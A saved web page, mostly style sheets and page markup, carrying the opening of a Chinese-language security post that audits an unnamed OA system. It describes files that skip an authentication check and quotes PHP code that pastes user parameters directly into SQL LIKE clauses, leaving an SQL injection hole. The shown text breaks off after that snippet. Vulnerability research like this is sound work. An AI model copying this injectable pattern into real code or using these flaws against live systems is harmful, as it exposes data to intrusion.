Neue,Helvetica,Arial,sans-serif;font-size:15px;line-height:24px;letter-spacing:.05em;word-wrap:break-word}.markdown-body a{background:transparent}.markdown-body a:active,.markdown-body a:hover{outline:0}.markdown-body strong{font-weight:bold}.markdown-body img{border:0}.markdown-body pre{font-family:"Meiryo UI","YaHei Consolas Hybrid",Consolas,"Malgun Gothic","Segoe UI","Trebuchet MS",Helvetica,monospace,monospace}.markdown-body *{-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body a{color:#4183c4;text-decoration:none}.markdown-body a:hover,.markdown-body a:active{text-decoration:underline}.markdown-body pre{font:12px Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body h2{position:relative;margin-top:1em;margin-bottom:16px;font-weight:bold}.markdown-body h2{padding-bottom:0em;font-size:24px;line-height:1.225}.markdown-body p,.markdown-body pre{margin-top:0;margin-bottom:24px}.markdown-body img{max-width:100%;-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{padding:16px;overflow:auto;font-size:85%;background-color:#f7f7f7;border-radius:3px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body pre{word-wrap:normal}/*! Pretty printing styles. Used with prettify.js. */@media screen{}.markdown-body .highlight pre{line-height:1.6}@media screen{}</style>
|
||||
<style>.highlight .k{color:#204a87;font-weight:bold}.highlight .o{color:#ce5c00;font-weight:bold}.highlight .x{color:#000}.highlight .p{color:#000;font-weight:bold}.highlight .cp{color:#8f5902;font-style:italic}.highlight .nb{color:#204a87}.highlight .nv{color:#000}.highlight .mi{color:#0000cf;font-weight:bold}.highlight .s2{color:#4e9a06}.highlight .s1{color:#4e9a06}</style>
|
||||
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
|
||||
<!--[if lte IE 8]>
|
||||
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
|
||||
<![endif]-->
|
||||
<!--[if !IE]> -->
|
||||
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="navbar navbar-default">
|
||||
<div class=navbar-inner>
|
||||
<div class=container style=text-align:center;position:relative>
|
||||
<!--[if lte IE 8]>
|
||||
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
||||
<![endif]-->
|
||||
<div class=brand-box>
|
||||
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
||||
</div>
|
||||
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13707&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
||||
登录</a>
|
||||
|
||||
<div class="nav-collapse collapse">
|
||||
<div class="search d1 text-right">
|
||||
<form action=/search>
|
||||
<input type=text placeholder=搜索 name=keyword value>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id=Wrapper class=container>
|
||||
|
||||
|
||||
<div class=row2>
|
||||
<div class=span10>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="row box content" width="1200px !important" style=width:1200px>
|
||||
|
||||
<div class=box-container>
|
||||
<div class=main-topic>
|
||||
<div class="clearfix user-info topic-list">
|
||||
<p><span class=content-title>记录一次某OA代码审计</span>
|
||||
</p>
|
||||
<div class=topic-info>
|
||||
<span class=info-left>
|
||||
<a href=https://xz.aliyun.com/u/74203>
|
||||
<span class="username cell"> 1219274889138004</span></a> <span class=i-seprator> / </span>
|
||||
<span> 2024-02-19 09:54:57</span><span class=i-seprator> / </span>
|
||||
|
||||
<span>发表于江苏 / </span>
|
||||
|
||||
<span>浏览数 334</span>
|
||||
|
||||
|
||||
<span class=content-node>
|
||||
|
||||
<span class="label label-default label-node-first">
|
||||
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
|
||||
<span class="label label-default">
|
||||
<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
||||
顶(0)</a>
|
||||
<a class="vote vote-down" href=javascript:void(0)>
|
||||
踩(0)</a></span>
|
||||
</div>
|
||||
</div>
|
||||
<hr>
|
||||
<div id=topic_content class="topic-content markdown-body">
|
||||
<h2 id=toc-0><strong>未授权访问漏洞+前台SQL注入漏洞</strong></h2>
|
||||
<p>发现数个文件存在未授权访问漏洞。究其原因没有包含鉴权文件checklogin.php<br>
|
||||
<a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094715-ced4f8a4-cec8-1.jpg title><img src="data:image/jpeg;base64,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 truncated
|
||||
<a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094728-d6b9e5b6-cec8-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA2oAAACACAYAAAB6HJpyAAA+hUlEQVR4nO3dd3hUVfrA8e+5M5NMeqOmkEZCbwqyRF0VK2D/CYq9rLC7VtC1IfZeYF11V7BgwbXt2gUba0NQLPReEgIhCSW9z9x7fn9MApNeSEh7P88zmtx77rnn3rnhmXfOOe9RRUVFmg5g+/btDB8+vL2bIQSFhYXt3QQhhBBCCNHNGe3dACGEEEIIIYQQ1dnbuwFtJXt/Dr17hPPDL6vr3D98YH9CggKOcKuEEEIIIYQQonFdMlDbuD2N/Tn59O4Rzv7cvDrLuNyuI9soIYQQQgghhGiiLjf0ceP2NDZt39nezRBCCCGEEEKIFutSgVp7BGmLpytUyly2tmZ90xe3Um3tp6tchxBCCCGEEO2hywRq7dOTtpVNa4/wKUUtObl5ZO3dV+/+zL37yM3LP4ItEkIIIYQQ4vB0iTlqlmXRMzyUnuGhB7c57I4jcOYkZizTzDgCZxL1K6+oYMuONAD69OpZbV/W3n1s2Z5KckLckW+YEEIIIYQQLdQlArXS8gr25eTV2r6ngV4W0XX07d0LUGzengocCtay9u5jc2WQ5ikjhBBCCCFE59DkoY/5+fmkp6e36JWf37bDzkrLyti0fWedr8NR3/wz7+3Vy2xlbopnbtbWuSkopSpf01l86GCv7YdeKXOrn6Xe473PU+f+JrShnrakzF188NhG78nWuaR4X0M9xzTUhubW1ZC+vXuSnBDP5u2pZO3dR2ZlkDYgMV6CNCGEEEII0ek0uUdt3bp1LFu2rEUnSUlJ4dhjj23Rse1pwrnTYP57fLp1BjOSqrYu5sP5MG3RDJKAbXUdOH8iV8zZgtZJwGKmq4lMnH4uet4EmDAPrecdLLp4umLi2jm8dugEdR+fMpAtyzzn3Dr3KXhNo5PAE5glV9vfaBvwBFDJM5czbZGmcpOnLcuBYY3cmOUzSb5iDlu09pxv61xSkieiWHSw/qZcR7PqaoK+vT09aVU9awMS42sNhRRCCCGEEKIz6BJDH3uEhXLeaSe0fsUTbmXOuGTe+3QrM6oCqcUfMp9pLGoohhjnHXhN4NY545g/80MWz5tAtcMWT2fi/HHM2eIVuNR7/Ca2AUlA0ox5XvPikpgxexozJx7a33gbFvPUzOWMm7MF71howrwtzFmbzMxGb8w0FnkHW0kzeG3OeyTXvMZGrqNZdTWVau4BQgghhBBCdDxNDtSGDh1KTExMi04SEhLSouMak7HZoqTQapW6kkbXdSuSOHPyOGa+9ylbZ8wgia3MfXA+4+ZsaTiAGDaweuBVp8VMn+ipa0bNwk04fvF0xcT53lumNb2OrZtYCwwb2Hgr6zRuIP1rbEoaOAxYy6atMKGq2qbch6bW1QRViUMGJMajNbXmrAkhhBBCCNFZNDlQCwkJabOAq6VKCi02rN1MesYWAPycASQnjCQoMIz8wgOs3bic4445E4D0jC3kF+xn2KAUlq74FADDMOgVEU1iXP1j/ZLOnMy4mZXDH/mU95aPY/JrLQxwvCyePtHTM1crSmv0SKarymP1PE/AuHg6auJhN6lTy/Kak+YdmEmwJoQQQgghOqNOv45aesYWfln9NbsyNrN6/Q+8+OY9HMjNIr/gAEtXfFKt3LpNywFYuuITtqauYueujXzy5Uss/uaN+k+QdCaTxy3nvU+3svXT91g+bjJnHm6ctng6E+fDtEXzmj+0b/GHzGccc7YcOnZrcxdzSxrIMGDtppppUrZReYsatnxTrbl5iz+cDy25N61QV2b23oPZHb0DspoJRoQQQgghhOgsOn2gBtCnRwxTz7uFq6feQ2hwT7bvXNfoMScfN4Wp593CxFOuZPPWXxso6ZkDtvy9p3jqveVMmz2jCcMaG+IZ8si0RTQzV4aX5Wyqim62zuWKmU2JrrxN4NxpsHzmFXgnm/T08tVoa51ZGOcz0XtbVeDZontz+HX5+viQXE92x769ezIgMR4fx5FYV08IIYQQQojW0SWSiRSVFLB24zJKy0vIzd9LWHCPg/see276wZ9jo5IP/rwjfT35BfvZuPVXQkMbSd8+4VymTZzYeBKRJjgYDM2fiPKOiqY1McvhhHlsmbOW5InKU8+4OWxZNI3kZg59nDBPswjFxGR1MHnItEU1k4n0Z+C4Og4eN4dFAx9EeY239M4e2SytUFd4WGiD+2XYoxBCCCGE6GxUUVGRbu9GAGzfvp3hw4c365itv7r5/PNP+Om3xQT4B+Ow+zAg8SiOG3s2u/Zs5d8fPM3F590CwLpNy8gvOMDU827hseemExgQjM2wEx7ahxNTzueMSxIaOhNzU5KZOaz5KeM7l8avs2o5gWop9luoNetqTYWFhe3dBCGEEEII0c11iR61qD4JTK0MyGrqV9mL5kkmcuDg9rNPu/bgvkZt9SQRmfNaVw7SqLxOmDa7i1+nEEIIIYQQHVynn6MWEhROrx61lw3w9fGrNtTRu1xsVDK+Pn5NPsfip2ayfNrs2mn0O7Gtc1NI8Z6gxmKmJ89k+bg53CpxmhBCCCGEEO2q0/eoDRuUUuf23j1jqvWyeZerr/etpq1zU0ieudwzD2xZ14pekmYsY/Z0hfJeILqp8+SEEEIIIYQQbapTz1EToi3IHDUhhBBCCNHeOv3QRyGEEEIIIYToaiRQE0IIIYQQQogOpkPNUTvpoRXt3QQh+PimQe3dBCGEEEII0c1Jj5oQQgghhBBCdDASqAkhhBBCCCFEB2NPT09v7zYI0aGkpqa2dxOEEEIIIUQ3p7TWbZKev7kfdgsLC4mPj2+LpnQ76enpDBkypN79Za4j2BghhBBCCCFEs7XZ0Me9e/ficDgafUlwJoQQQgghhBDVyRw1IYQQQgghhOhgJFATQgghhBBCiA5GAjUhhBBCCCGE6GAkUBNCCCGEEEKIDkYCNSGEEEIIIYToYCRQE0IIIYQQQogOplsHatosIH3l93z15Zd8uSarvZvTIWldyNyLP8Fv3KeEjP+ClBtX8eq6CqwWrr637qUl+J21lt/aZPU+IYQQQgghugZ7ezegvVhl+9m8ajW7y0MJCywjp70b1EJ5eXmUlZVhtx96K51OJ2lpadXKud1u/P39iYyMbOYZ/Dj/rrGMKQNXUQkrPtvGzX9eTsGC47kxqVvH+UIIIYQQQrSZbhuo7d+6iiyjH6PGJuLatKTTBmqGYeDv709oaGiD5fLy8jCMxgOr4t37SfXrwdAIz+9K2Ykd2ovYyv0nHheKvuwHnnh3L9Pv6oOvOrz2CyGEEEIIIWrrtl0izt5DGXt0EhGdPNIwDAMfHx8CAgIafPn4+GCz2eqtp3h3Fv96+HuGT1nFp3vrP5+yhzJmuMGB7YVke22vGtL45e+bufTiL4g8+UuOv3U9X2dZddaTvWIDU6YsJvKUrzjxjo18t7f6WMjm1ieEEEIIIURX0m0DteBeffC3de4grTUcCtB+49W8CB6bfxy3DKy/vNZlpO+2INhBUM2d5n7++W45p04bzss3RdNn4w6mzN5Oas35aOY+Xvivm0l/HclLN/YleNU2Lnggjd21yjWxPiGEEEIIIbqYbjv0sbsr3p3N669t5qlFRfQ9Pp6nF4zlzGRf7PXErmaFm+KiUn79ZC0P/2pw1qxehNUsm+vDlNuHc3EYQF+OdRbTb3YW3+xLIr6XdzlfLrxzOJdUljvayifu0SyWFcUzJagF9QkhhBBCCNHFSKDWRaxfv77efUOGDKm17afXf+XBjVE889ofOD/Rh8Y6F3/4+5dM+MACy2D0uSN5epJ/7ULhwSSHHvo1KDaQeHLJ3Ad4B1ZhQdXK9YoKJIxcDuRDtW66ptYnhBBCCCFEFyOBWhdRVzDWkOjBEfRcvJvbHzLJvjqJK44PJqixkaBxsXzxzECO7emoO7AzoNpmpTAAXXOook1VH3OrFAqoNaKxqfUJIYQQQgjRxXTbOWpdhWU1LbmGaZrVfh9w7h9Y8f447h9ZzouzvmPoFb/yj+8KKKinupCYcCaMCmNAfUEagFUj2NIaC0UTkk0emfqEEEIIIYToJOQjbyfmdrvJz8+ntLS0wXLFxcXk5OTUCtZ8e0Zw2c0prHg/hYeOquDlu79j6OUr+ayOrI+jpv6B92+LpndDvW45BWzJO/Rr4c4iUnHSp0fTr6lN6xNCCCGEEKKT6LZDH8sK9lFQpgFNQQVAAXv3GoCDoIhQ/DpBRki73Y7T6aSoqIjc3FzCwsJqlbEsi4yMDJxOZ73p+asCtimXHODdN9PIyqXaHDBdkcPfb1rJq/lhPPL8UUyqfRqPHhW898ga3JN60rMwl1deyMIYMYjxPVt4ga1dnxBCCCGEEJ1Etw3U8tNWsebgQmAKxU5Wr96J1iEMOmEMMfUvOdahREREUFxcTGZmJkCtYC07OxulFDExMY0ueO0J2CJq77Dc7N9bRlpxOYXlDVRg68n1Fzp4ec5qvs02SByVwLu3JhDX0pi3tesTQgghhBCik+i2gVrv4adyans3ohUYhkFQUBCGYdQK1qqGPMbFxeFwOFp8DuXsxcP/ncTDjRW0IOzoAfz73wPqLTL0TydT+qca9Y8eTsbPLatPCCGEEEKIrqjbBmpdTUBAAMDBYC0kJISMjAzCw8MP7mtzWtfO3NiR6hNCCCGEEKKTkECtC/EO1vLz81FK0bt373ZulRBCCCGEEKK5lNZtsyrVzz//TFRUVKPloqOjSU1NpbCwkPj4+LZoSreTkZGBaZpER0cTEhJSa3+Zqx0aJYQQQgghhGgy6VHrgkzTJC4u7sgNeRRCCCGEEEK0KllHrYuSIE0IIYQQQojOSwI1IYQQQgghhOhgJFATQgghhBBCiALine truncated
|
||||
同时发现这个文件几个参数在拼接时没有进行过滤存在很明显的SQL注入漏洞。</p>
|
||||
<div class=highlight><pre><span></span><span class=x>if($suserxm!=''){</span>
|
||||
<span class=x>$sql=$sql." and userxm like '%$suserxm%'";</span>
|
||||
<span class=x>}</span>
|
||||
<span class=x>if($sjiabie!=''){</span>
|
||||
<span class=x>$sql=$sql." and jiabie like '%$sjiabie%'";</span>
|
||||
<span class=x>}</span>
|
||||
<span class=x>if($smudidi!=''){</span>
|
||||
<span class=x>$sql=$sql." and mudidi like '%$smudidi%'";</span>
|
||||
<span class=x>}</span>
|
||||
<span class=x>if($sniandu!=''){</span>
|
||||
<span class=x>$sql=$sql." and niandu like '%$sniandu%'";</span>
|
||||
<span class=x>}</span>
|
||||
